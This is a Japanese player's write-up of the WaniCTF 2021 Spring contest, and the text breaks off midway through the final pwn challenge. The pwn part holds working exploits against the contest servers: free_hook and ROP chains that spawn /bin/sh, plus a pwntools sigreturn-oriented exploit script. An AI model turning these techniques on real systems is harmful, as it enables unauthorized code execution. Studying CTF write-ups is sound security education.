WaniCTF'21-spring Writeup

WaniCTF 2021 SpringのWriteupです。5836pt獲得し18位でした。

f:id:miso_24:20210502205939p:plain

Crypto

Simple conversion

long_to_bytesで文字列に戻すとフラグが手に入りました。

from Crypto.Util.number import *
print(long_to_bytes(709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229))
$ python solve.py
b'FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'

Easy

フラグがアフィン暗号で暗号化されています。

アフィン暗号は以下の式で表せます

\begin{eqnarray} c = am + b \mod\ 26 \end{eqnarray}

よって、次の式で復号できます。

\begin{eqnarray} m = \frac{c - b}{a} \mod \ 26 \end{eqnarray}

a,bはともに26種類しかないため総当りで求められます。

import math

def decrypt(plaintext: str, a: int, b: int) -> str:
    ciphertext = ""
    for x in plaintext:
        if "A" <= x <= "Z":
            x = ord(x) - ord("A")
            x = (pow(a, -1, 26) * (x - b)) % 26
            x = chr(x + ord("A"))
        ciphertext += x

    return ciphertext


ciphertext = "HLIM{OCLSAQCZASPYFZASRILLCVMC}"

for a in range(1, 26):
    for b in range(1, 26):
        # gcd(a, 26) = 1でないとa^-1が求められない
        if math.gcd(a, 26) == 1:
            print(decrypt(ciphertext, a, b))
$ python solve.py | grep FLAG
FLAG{WELCOMETOCRYPTOCHALLENGE}

Can't restore the flag?

負の数の入力は禁止されていないので-10000000のような値を入力し、得られた結果にmodとして入力した値を正にしたもの足すとフラグが手に入りました。

from socklib import parse_nc_cmd
from Crypto.Util.number import long_to_bytes

with parse_nc_cmd("nc crt.cry.wanictf.org 50000") as s:
    s.recvuntil("Mod > ")
    s.sendline(str(-(10 ** 103)))
    inv_flag = int(s.recvline().rstrip())
    flag = inv_flag + (10 ** 103)
    print(long_to_bytes(flag))
$ python solve.py
b'FLAG{Ch1n3s3_r3m@1nd3r_7h30r3m__so_u5eful}\n'

フラグを見る限りCRTでも解けるっぽいです。

Extra

RSA暗号の問題です。

N以外にM=2p+qという値が与えられています。

NMをq=の形に変形するとqに関する2次方程式が得られます。


\begin{eqnarray}
\left\{
  \begin{array}{l}
    q = \frac{N}{p} \\\
    q = M - 2p
  \end{array}
\right.
\end{eqnarray}

\begin{eqnarray} \frac{N}{p}&=&M-2p \\ N&=&Mp-2p^{2} \\ 2p^{2}-Mp+N&=&0 \\ q&=&\frac{M \pm \sqrt{M^{2}-8N}}{4} \end{eqnarray}

よって、M,Nからqを求めることができます。

後は求まったqからp,dを求めて復号するだけです。

from Crypto.Util.number import *
import gmpy2

N = 22255382023772668851018179427844169178508638456713544208965498667359965716247243217931028270320680101854437928939452335472153643094266035953797432826168426002458800906764442624308120284177094975740468163835305872963635678413995878812492729432260346481442092245748885202467992527408086207041964831622724073720751839241897580988210971776031098476500998975223039782371635291859483569580516707907602619018780393060215756966917504096971372578145138070121288608502379649804953835336933545368863853793291348412017384228807171466141787383764812064465152885522264261710104646819565161405416285530129398700414912821358924882993
M = 455054308184393892678058040417894434538147052966484655368629806848690951585316383741818991249942897131402174931069148907410409095241197004639436085265522674198117934494409967755516107042868190564732371162423204135770802585390754508661199283919569348449653439331457503898545517122035939648918370853985174413495
e = 65537
c = 17228720052381175899005296327529228647857019551986416863927209013417483505116054978735086007753554984554590706212543316457002993598203960172630351581308428981923248377333772786232057445880572046104706039330059467410587857287022959518047526287362946817619717880614820138792149370198936936857422116461146587380005750298216662907558653796277806259062461884502203484610534512552197338982682870358910558302016481352035443274153409114492025483995668048818103066011831955626539382173160900595378864729936791103356604330731386911513668727994911216530875480647283550078311836214338646991447576725034118526046292574067040720093

D = gmpy2.isqrt(M ** 2 - (4 * 2 * N))
q_ = [(M + D) // 4, (M - D) // 4]

for q in q_:
    if N % q != 0:
        continue
    p = N // q
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    print(long_to_bytes(pow(c, d, N)))
$ python solve.py
b' FLAG{@n_ex7ra_param3ter_ru1n5_3very7h1n9}\n'

OUCS

server.pyを見ると岡本-内山暗号を用いて暗号化・復号を行っていることがわかります。私自身よく理解できていないため岡本-内山暗号についての詳しい情報は以下を参照してください。

岡本-内山暗号は加法準同性を有しているそうで、この暗号では暗号文の積が平文の和になります。(参考: http://elliptic-shiho.hatenablog.com/entry/2015/12/14/213328

証明してみます。理解が浅いためおかしい部分や間違っている部分があるかもしれません。

上のpdfより、

\begin{eqnarray} L(x) = \frac{x - 1}{p} \mod p \\ L(ab) = L(a) + L(b) \mod p \\ \end{eqnarray}

はじめに秘密鍵p,q、公開鍵n,g,h、平文m_1,m_2とその暗号文c_1,c_2とする。また、r_1,r_2はともに2以上n未満の乱数でありr_1 \not \equiv 1 \mod n, r_2 \not \equiv 1 \mod nを満たす。c=c_1 \cdot c_2 \mod n^{2}とすると

\begin{eqnarray} c=c_1 \cdot c_2=g^{m_1+m_2} \cdot g^{nr_1} \cdot g^{nr_2} \mod n^{2} \\ \end{eqnarray}

\begin{eqnarray} c^{p-1} &=& (g^{m_1+m_2} \cdot g^{nr_1} \cdot g^{nr_2})^{p-1} \mod p^{2} \\ &=& g^{(m_1+m_2)(p-1)} \cdot g^{p(p-1)r_1pq} \cdot g^{p(p-1)r_2pq} \mod p^{2} \\ &=& g^{(m_1+m_2)(p-1)} \mod p^{2}\\ \end{eqnarray}

\begin{eqnarray} Dec(c) =\frac{L(c^{p-1})}{L(g^{p-1})} &=& \frac{L((g^{p-1})^{(m_1+m_2)})}{L(g^{p-1})} \mod p \\ &=& \frac{(m_1+m_2)L(g^{p-1})}{L(g^{p-1})} \mod p \\ &=& m_1+m_2 \mod p \end{eqnarray}

よって、c_1 \cdot c_2m_1 + m_2と等しい。(証明終わり)

問題では任意の平文の暗号化、フラグを除く任意の暗号文の復号、暗号化されたフラグの取得、公開鍵の表示を行うことができるため以下の手順で解けます。

  • 公開鍵からnを得る
  • 暗号化されたフラグを取得する(c_1とする)
  • 適当な値mを暗号化してもらう(c_2とする)
  • c_1 \cdot c_2 \mod n^{2}を復号してもらいm'を得る
  • m'-mを計算してフラグを得る
from socklib import parse_nc_cmd
from Crypto.Util.number import *

with parse_nc_cmd("nc oucs.cry.wanictf.org 50010") as s:
    def encrypt(x: int):
        s.recvuntil("> ")
        s.sendline("2")
        s.recvuntil("> ")
        s.sendline(str(x))
        s.recvuntil("ciphertext = ")
        return int(s.recvline().rstrip(), 16)

    def decrypt(x: int):
        s.recvuntil("> ")
        s.sendline("3")
        s.recvuntil("> ")
        s.sendline(str(x))
        s.recvuntil("plaintext = ")
        return int(s.recvline().rstrip(), 16)

    s.recvuntil("> ")

    # pubkey
    s.sendline("4")
    s.recvuntil("n = "); n = int(s.recvline().rstrip(), 16)
    s.recvuntil("g = "); n = int(s.recvline().rstrip(), 16)
    s.recvuntil("h = "); n = int(s.recvline().rstrip(), 16)

    # encrypt flag
    s.recvuntil("> ")
    s.sendline("1")
    s.recvuntil("ciphertext = ")
    c_1 = int(s.recvline().rstrip(), 16)

    # encrypt 1
    c_2 = encrypt(1)

    m_flag_p_1 = decrypt((c_1 * c_2) % (n * n))
    flag = m_flag_p_1 - 1
    print(long_to_bytes(flag))
$ python solve.py
b'FLAG{OU_d0es_n0t_repre53nt_Osaka_University_but_Okamoto-Uchiyama}'

Forensics

presentation

PowerPointでpresentation.ppsxを開いて青い長方形をどかすとフラグが書いてあります。

FLAG{you_know_how_to_edit_ppsx}

MixedUSB

strings MixedUSBでフラグが見つかりました。

$ strings MixedUSB.img
EXFAT
...
DUMMY{qux}
DUMMY{baz}
DUMMY{quux}
FLAG{mixed_file_allocation_table} 

secure document

password-generatorはAutoHotKeyスクリプトです。

password-generatorを見て入力を再現するとWan1_20210428_FLAG!na!となりました。todayの部分はフラグが解凍されているzipファイル名がflag_20210428.zipであることから推測できます。

得られたパスワードでflag_20210428.zipを解凍するとフラグが書かれたjpgファイルが手に入りました。

f:id:miso_24:20210502224236j:plain

Misc

binary

binary.csvを一列にして2進数から10進数に変換しlong_to_bytesで文字に変換するとフラグが手に入りました。

from Crypto.Util.number import long_to_bytes
data = int("".join(open("binary.csv").read().split("\n")), 2)
print(long_to_bytes(data))
$  python solve.py
b'FLAG{the_basic_knowledge_of_communication}'

Git Master

はじめにdocker pullでコンテナイメージを取得しコンテナを起動します。

$ docker pull wanictf21spring/nginx_on_ubuntu
$ docker run -it wanictf21spring/nginx_on_ubuntu

dockerコンテナに入って/var/wwwに移動します。

$ docker exec -it 5c5200c9331c /bin/bash
root@5c5200c9331c:/# cd /var/www
root@5c5200c9331c:/var/www# ls
Dockerfile  docker-compose.yml  html

htmlの中を見てみるとFlag.txtというファイルが見つかったので表示してみるとフラグの一部が手に入りました。

root@5c5200c9331c:/var/www# ls html
Flag.txt  assets  favicon.ico  index.html  index.nginx-debian.html
root@5c5200c9331c:/var/www# cat htlm/Flag.txt
4r3_p3rf3c7_g1t

git logでコミット履歴を確認します。

root@5c5200c9331c:/var/www# git log --all --oneline
1b5bfaf (HEAD, temporary) edit Flag.txt
9284d6d (master) bug fix docker-compose.yml
cb2205c bug fix Dockerfile
7a3aa17 super kawaii aminal fix
6cc0b29 edit Flag.txt
b416014 Flag.txt
a2fed4a initialization of html/assets/*
f007f26 initialization of html/favicon.ico
e4c9da8 initialization of html/index.html
058a502 initialization of docker-compose.yml
1fc314c initialization of Dockerfile

edit Flag.txtFlag.txtという怪しげなコミットがあります。git checkoutで過去のコミットに戻って中身を見ます。

root@5c5200c9331c:/var/www# git checkout 6cc0b29
Previous HEAD position was 1b5bfaf edit Flag.txt
HEAD is now at 6cc0b29 edit Flag.txt
root@5c5200c9331c:/var/www# cat html/Flag.txt
FLAG{y0u_
root@5c5200c9331c:/var/www# git checkout b416014
Previous HEAD position was 6cc0b29 edit Flag.txt
HEAD is now at b416014 Flag.txt
root@5c5200c9331c:/var/www# cat html/Flag.txt
_m45t3r}

得られたフラグをつなぎ合わせると以下のようになります。

FLAG{y0u_4r3_p3rf3c7_g1t_m45t3r}

ASK

binaryと似たようなcsvファイルが与えられます。

binaryと違ってファイルの行がとても多くなっています。0や1がいくつ連続しているか数えると31の倍数になっていたので、31個の連続を1つの値と見てbinaryと同じ処理を行うとフラグが手に入りました。

from Crypto.Util.number import long_to_bytes
data = int("".join(open("ask.csv").read().split("\n")[::31]), 2)
print(long_to_bytes(data))
$ python solve.py
b'\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xd8[\x1c\xcc\x0bZ\xcc\x1b\xdd\xdb\x8bM\x1c\xcbL\x1b\x8bL\x19\x99\x8bZ\xd9^L[\x99\xdf@\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb6\x16\xc73\x02\xd6\xb3\x06\xf7v\xe2\xd3G2\xd3\x06\xe2\xd3\x06fb\xd6\xb6W\x93\x16\xe6w\xd0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}\x00\x00\x00\x00\x00\x00*\xaa\xaa\xaa\xb9Q\x93\x10Q\xde\xd8[\x1c\xcc\x0bZ\xcc\x1b\xdd\xdb\x8bM\x1c\xcbL\x1b\x8bL\x19\x99\x8bZ\xd9^L[\x99\xdf@\x00\x00\x00\x00\x00\n\xaa\xaa\xaa\xaeTd\xc4\x14w\xb6\x16\xc73\x02\xd6\xb3\x06\xf7v\xe2\xd3G2\xd3\x06\xe2\xd3\x06fb\xd6\xb6W\x93\x16\xe6w\xd0\x00\x00\x00\x00\x00\x02\xaa\xaa\xaa\xab\x95\x191\x05\x1d\xed\x85\xb1\xcc\xc0\xb5\xac\xc1\xbd\xdd\xb8\xb4\xd1\xcc\xb4\xc1\xb8\xb4\xc1\x99\x98\xb5\xad\x95\xe4\xc5\xb9\x9d\xf4\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xe5FLAG{als0-k0own-4s-0n-0ff-key1ng}'

Manchester

csvファイルが与えられます。マンチェスタ符号というもので符号化されているそうです。

まず、Askと同様に0と1が31個ずつ連続しているのでそれを一つにまとめます。

マンチェスタ符号では0の連続や1の連続はありえないので復号する前に削除しておきます。そして、残ったものを復号するとフラグが手に入りました。

data = "".join(open("manchester.csv").read().rstrip().split("\n")[::31]).lstrip("0")

hoge = b""
buf = 0
for i in range(0, len(data) // 2):
    x = data[i*2:i*2+2]
    if int(x, 2) == 1:
        buf |= 0
    else:
        buf |= 1
    if (i + 1) % 8 == 0:
        hoge += bytes([buf])
        buf = 0
    buf <<= 1
print(hoge)
$ python solve.py
b'\xff\xff\xc4d\xc4\x14w\xb6\x17f\xf6\x96F\x96\xe6r\xd66\xf6\xe76V7F\x97fR\xd6\xf6\xe6W2\xd6\x16\xe6B\xd7\xa6W&\xf77\xdf\xff\xff\xff\xff\xfe#& \xa3\xbd\xb0\xbb7\xb4\xb24\xb73\x96\xb1\xb7\xb79\xb2\xb1\xba4\xbb2\x96\xb7\xb72\xb9\x96\xb0\xb72\x16\xbd2\xb97\xb9\xbe\xff\xff\xff\xff\xff\xf1\x191\x05\x1d\xed\x85\xd9\xbd\xa5\x91\xa5\xb9\x9c\xb5\x8d\xbd\xb9\xcd\x95\x8d\xd1\xa5\xd9\x94\xb5\xbd\xb9\x95\xcc\xb5\x85\xb9\x90\xb5\xe9\x95\xc9\xbd\xcd\xf7\xff\xff\xff\xff\xff\x88\xc9\x88(\xefl.\xcd\xed,\x8d-\xcc\xe5\xacm\xed\xcel\xacn\x8d.\xcc\xa5\xad\xed\xcc\xaee\xac-\xcc\x85\xafL\xaeM\xeeo\xbf\xff\xff\xff\xff\xfcFLAG{avoiding-consective-ones-and-zeros}'

Automaton Lab

初期状態initと整数genが与えられるのでrule30のgen番目の状態を答えるという問題です。

3問出題されるので3問全て正解すればフラグを手に入れることができますが、3つ目の問題のgenが非常に大きな値であるため愚直に求めようとすると現実的な時間内に求められません。いろいろ試していると46番目以降の状態には周期性があることに気づきました。周期性を利用すれば一瞬で求めることができます。

from socklib import parse_nc_cmd

WIDTH = 15

def rule_30(init, gen):
    state = [x - 0x30 for x in init]
    init_state = state
    for i in range(gen):
        new_state = []
        for j in range(WIDTH):
            new_state.append(
                state[(j - 1) % WIDTH] ^ (state[j] | state[(j + 1) % WIDTH])
            )
        state = new_state
    return "".join(str(s) for s in new_state)

with parse_nc_cmd("nc automaton.mis.wanictf.org 50020") as s:
    def solve_question():
        s.recvuntil("init = ")
        init = s.recvline().rstrip()
        s.recvuntil("gen = ")
        gen = int(s.recvline().rstrip())
        print(init, gen)

        state = rule_30(init, gen)
        s.sendline(state)
        print(s.recvline())

    def solve_question_last():
        s.recvuntil("init = ")
        init = s.recvline().rstrip()
        s.recvuntil("gen = ")
        gen = int(s.recvline().rstrip())
        print(init, gen % 2)

        gen_ = (gen - 46) % 1455
        init_ = b"100011001111110"
        state = rule_30(init_, gen_)
        s.sendline(state)
        print(s.recvline())

    s.recvuntil("(press enter key to continue)\n")
    s.send("\n")
    
    solve_question()
    solve_question()
    solve_question_last()
    print(s.recvline())
    print(s.recvline())
    print(s.recvline())
    print(s.recvline())
$ python hoge.py
b'001100100100110' 7
b'> Great! The second question is below.\n'
b'100000000000000' 997
b'> Even if human become extinct, we wanna see the view of prosperity of cell automaton. This is last question.\n'
b'000000000000001' 1
b'> Jesus!!! Are you the genius of future sight? We award you the special prize.\n'
b'FLAG{W3_4w4rd_y0u_d0c70r473_1n_Fu7ur3_S1gh7}\n'

Pwn

01 netcat

netcatでサーバーに接続してcat flag.txtと入力するだけです。

$ nc netcat.pwn.wanictf.org 9001
congratulation!
please enter "ls" command
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this_is_the_same_netcat_problem_as_previous_one}

02 free hook

__free_hookはメモリをfreeする前に呼び出される関数であり、第一引数に開放するメモリのアドレスが渡されます。

ソースコードを見ると__free_hook = systemとなっています。つまり、freeするアドレスに"/bin/sh"を書き込んでおけば、system("/bin/sh")が実行されシェルが起動します。

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

03 rop machine easy

system("/bin/sh")を実行できるようにrop_arenaいろいろ積んでいきます。op_arenaを以下の状態にしてexecute ropします。

     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+

まずpop rdiが実行されスタックの先頭にある0x404070がrdiに入ります。そして、retsystemが実行されます。rdiに"/bin/sh"のアドレスが入っているため、system("/bin/sh")となりシェルが起動します。

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

今度はsyscallを利用してシェルを起動する問題です。

x86_64ではraxがシステムコール番号、rdiが第一引数、rsiが第二引数、rdxが第三引数となっています。

execve("/bin/sh", 0, 0)を実行するにはレジスタの値を以下のようにします。

register value
rax 59 (execve)
rdi 0x404070 (/bin/shのアドレス)
rsi 0
rdx 0

システムコール番号はここを参照してください。execveの番号は59となっていることがわかると思います。

レジスタが上の表のようになるようrop_arenaに命令と値を積めばシェルを起動できます。

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 5
"pop rax; ret" is appended
> 1
hex value?: 0x3b
0x000000000000003b is appended
> 2
"pop rdi; ret" is appended
> 1
hex value?: 0x404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rax; ret       |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| pop rdi; ret       |
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}

05 rop machine hard

ROP gadgetを自分で見つけなければなりません。rp++で探します。

$ rp -f pwn05 -r 1 --unique
Trying to open 'pwn05'..
Loading ELF information..
FileFormat: Elf, Arch: x64
Using the Nasm syntax..
...
0x004012b3: mov rbp, rsp ; syscall  ;  (1 found)
0x00401555: mov rsp, rax ; ret  ;  (1 found)
0x004011ae: nop  ; ret  ;  (3 found)
0x004011a6: or dword [rdi+0x00404080], edi ; jmp rax ;  (1 found)
0x004015f8: out 0x41, eax ; call qword [rdi+rbx*8] ;  (1 found)
0x00401612: pop r15 ; ret  ;  (1 found)
0x004012a9: pop rax ; ret  ;  (1 found)
0x0040121d: pop rbp ; ret  ;  (8 found)
0x0040128f: pop rdi ; ret  ;  (2 found)
0x0040129c: pop rdx ; ret  ;  (1 found)
0x0040101a: ret  ;  (25 found)
0x0040105b: sar edi, 0xFFFFFFFF ; call qword [rax-0x05E1F00D] ;  (1 found)
0x004012b6: syscall  ;  (1 found)
0x004012b6: syscall  ; ret  ;  (1 found)

pop rdi ; retsyscallなどのアドレスが手に入ります。

rop machine easyやrop machine normalのappend "pop rdi; ret" addrの部分をrp++で手に入れたROP gadgetのアドレスを追加するようにするだけです。

from pwn import *

elf = ELF('pwn05')

pop_rax = 0x004012a9
pop_rdi = 0x0040128f
pop_rdx = 0x0040129c
pop_rsi_r15 = 0x00401611
syscall = 0x004012b6
binsh = next(elf.search(b'/bin/sh'))

p = remote('rop-hard.pwn.wanictf.org', 9005)

def append_hex_val(val):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('hex value?: ')
    p.sendline(hex(val))

def exec_rop():
    p.recvuntil('> ')
    p.sendline('0')

append_hex_val(pop_rax)
append_hex_val(0x3b)
append_hex_val(pop_rdi)
append_hex_val(binsh)
append_hex_val(pop_rdx)
append_hex_val(0x0)
append_hex_val(pop_rsi_r15)
append_hex_val(0x0)
append_hex_val(0x0)
append_hex_val(syscall)
exec_rop()
p.interactive()
$ python solve.py
[*] '/home/vagrant/wanictf_2021_spring/pwn/pwn-05-rop-machine-hard/pwn05'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[!] Could not find executable 'pwn05' in $PATH, using './pwn05' instead
[+] Starting local process './pwn05': pid 1449
[+] Opening connection to rop-hard.pwn.wanictf.org on port 9005: Done
[*] Switching to interactive mode
     rop_arena
+--------------------+
| 0x00000000004012a9 |<- rop start
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x000000000040128f |
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

pwn06.cとpwn06というELF形式の実行ファイルが与えられます。

#include <stdio.h>
#include <unistd.h>

void call_syscall() { __asm__("syscall; ret;"); }

void set_rax() { __asm__("mov $0xf, %rax; ret;"); }

int main() {
  char buff[50];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  printf("buff : %p\nCan you get the shell?\n", buff);
  read(0, buff, 0x200);
  return 0;
}

問題文にある通りSigreturnを用いたROPを行います。ここを参考にしながらエクスプロイトコードを作成しました。

最初のsigreturnでread(0, bss, 300)を実行します。そして、書込み可能な領域に"/bin/sh\x00"を書き込んでおき、2回目のsigreturnでexecve("/bin/sh", 0, 0)を実行しています。

from pwn import *

elf = ELF('pwn06')

bss = elf.bss() + 0x100
syscall_ret = 0x0040117e
syscall = 0x0040117e
mov_rax_15 = 0x0040118c
offset = 72

p = remote('srop.pwn.wanictf.org', 9006)

"""
struct sigcontext {
  __u64               r8;
  __u64               r9;
  __u64               r10;
  __u64               r11;
  __u64               r12;
  __u64               r13;
  __u64               r14;
  __u64               r15;
  __u64               rdi;
  __u64               rsi;
  __u64               rbp;
  __u64               rbx;
  __u64               rdx;
  __u64               rax;
  __u64               rcx;
  __u64               rsp;
  __u64               rip;
  __u64               eflags;     /* RFLAGS */
  __u16               cs;
"""
payload = b'A' * offset
payload += p64(mov_rax_15)
payload += p64(syscall_ret)
payload += b'A' * (8 * 5)
payload += p64(0) * 8          # r8-15
payload += p64(0)              # rdi
payload += p64(bss)            # rsi
payload += p64(0)              # rbp
payload += p64(0)              # rbx
payload += p64(300)            # rdx
payload += p64(0)              # rax
payload += p64(0)              # rcx
payload += p64(bss+8)          # rsp
payload += p64(syscall_ret)    # rip
payload += p64(0)              # eflags
payload += p64(0x33)           # cs
payload += b'A' * (8 * 4)
payload += p64(0)              # &fpstate
payload += b'A' * (0x200 - len(payload))

p.send(payload)

payload = b'/bin/sh\x00'
payload += p64(mov_rax_15)
payload += p64(syscall_ret)
payload += b'A' * (8 * 5)
payload += p64(0) * 8          # r8-15
payload += p64(bss)            # rdi
payload += p64(0)              # rsi
payload += p64(0)              # rbp
payload += p64(0)              # rbx
payload += p64(0)              # rdx
payload += p64(59)             # rax
payload += p64(0)              # rcx
payload += p64(bss+8)          # rsp
payload += p64(syscall_ret)    # rip
payload += p64(0)              # eflags
payload += p64(0x33)           # cs
payload += b'A' * (8 * 4)
payload += p64(0)              # &fpstate
payload += b'A' * (300 - len(payload))

p.send(payload)

p.interactive()
$ python solve.py
[*] '/home/vagrant/wanictf_2021_spring/pwn/pwn-06-srop/pwn06'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to srop.pwn.wanictf.org on port 9006: Done
[*] Switching to interactive mode
buff : 0x7ffc1ab8a160
Can you get the shell?
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

07 Tower of Hanoi

pwn07.cとpwn07というELF形式の実行ファイルが与えられます。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define HANOI_SIZE 32

void init_hanoi(int *a1) {
  alarm(30);
  for (int i = 1; i <= HANOI_SIZE; i++) {
    a1[i - 1] = i;
  }
}

int is_solved(int (*rod)[HANOI_SIZE]) {
  if (rod[0][HANOI_SIZE - 1] == 0 && rod[1][HANOI_SIZE - 1] == 0 &&
      rod[2][HANOI_SIZE - 1] == HANOI_SIZE)
    return 1;
  else
    return 0;
}

void move_hanoi(char from, char to, int *pivot, int (*rod)[HANOI_SIZE]) {
  int src = (int)from - 65;
  int dst = (int)to - 65;
  if (abs(src) > 2 || abs(dst) > 2) {  // ???
    printf("That rod isn't where you can access!\n");
    return;
  }
  if (rod[src][pivot[src]] < rod[dst][pivot[dst]] ||
      rod[dst][pivot[dst]] == 0) {
    printf("Moved %d from %c to %c\n", rod[src][pivot[src]], from, to);
    if (rod[dst][pivot[dst]] != 0) pivot[dst]--;
    rod[dst][pivot[dst]] = rod[src][pivot[src]];
    rod[src][pivot[src]] = 0;

    if (pivot[src] < HANOI_SIZE - 1) pivot[src]++;
  } else
    printf("You can't move that way!\n");
}

int get_flag(char *flag) {
  FILE *fp;
  fp = fopen("./FLAG", "r");
  fscanf(fp, "%s", flag);
  fclose(fp);
}

int main() {
  int solved_flag = 0;
  int rod_pivot[3] = {0, HANOI_SIZE - 1, HANOI_SIZE - 1};
  char name[16];
  int rod[3][HANOI_SIZE] = {
      0,
  };
  char selection[3];
  char flag[28];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  init_hanoi(rod[0]);

  printf(
      "\nIf you move all disks from A to C 'in time'\nI'll give you the "
      "flag\ninput ex) if from rod_a to rod_c > AC\n");
  write(1, "Name : ", 8);
  read(0, name, 16);
  while (solved_flag != 1) {
    solved_flag = is_solved(rod);  // ???
    printf("Top and bottom of the each rod\n  A     B     C\n%3d   %3d   %3d\n",
           rod[0][rod_pivot[0]], rod[1][rod_pivot[1]], rod[2][rod_pivot[2]]);
    printf(" ...............\n%3d   %3d   %3d\n", rod[0][HANOI_SIZE - 1],
           rod[1][HANOI_SIZE - 1], rod[2][HANOI_SIZE - 1]);
    printf("pivot: %3d   %3d   %3d\n", rod_pivot[0], rod_pivot[1], rod_pivot[2]);
    write(1, "Move > ", 7);
    read(0, selection, 3);
    printf("Moving...\n");
    sleep(1);
    move_hanoi(selection[0], selection[1], rod_pivot, rod);
  }
  printf("How fast you are!!\n");
  get_flag(flag);
  printf("%s", flag);
  return 0;
}

ハノイの塔を解けばフラグが手に入るのですが、制限時間内に絶対に解けないようになっています。

move_hanoi関数に着目します。

  int src = (int)from - 65;
  int dst = (int)to - 65;
  if (abs(src) > 2 || abs(dst) > 2) {  // ???

srcとdst値をチェックする部分にabsを使っています。そのため負数でも-1や-2をsrcやdstに入れることができます。

    rod[dst][pivot[dst]] = rod[src][pivot[src]];
    rod[src][pivot[src]] = 0;

rod[dst][pivot[dst]]をsolved_flagのアドレスにできればsolved_flagを1似することができそうです。rod[dst][pivot[dst]]のアドレスは以下のようにして計算されます。

(rodのアドレス + 0x80 * dst) + (*pivot[dst] * 4)

dstに-1を入れると、

rodのアドレス - 0x80 + (*pivot[-1] * 4)

となります。ここで、pivotはmain関数内のrod_pivotでありpivot[-1]はmain関数内にあるname[16]の最後の4byteになっています。わかりやすくするために、スタックの状態を図で表します。

+---------------------+
|         rod         | rbp - 0x1a0
+---------------------+
|        .....        |
+---------------------+
|      name[0]        | rbp - 0x20
+---------------------+
|        .....        |
+---------------------+
|      name[15]       | rbp - 0x11
+---------------------+
|     rod_pivot[0]    | rbp - 0x10
+---------------------+
|     rod_pivot[1]    | rbp - 0xc
+---------------------+
|     rod_pivot[2]    | rbp - 0x8
+---------------------+
|     solved_flag     | rbp - 0x4
+---------------------+ <- rbp

具体的な値を式に代入してpivot[-1]の値を求めます。

rbp - 0x4 = (rbp - 0x1a0) - 0x80 + (*(rbp - 0x14) * 4)
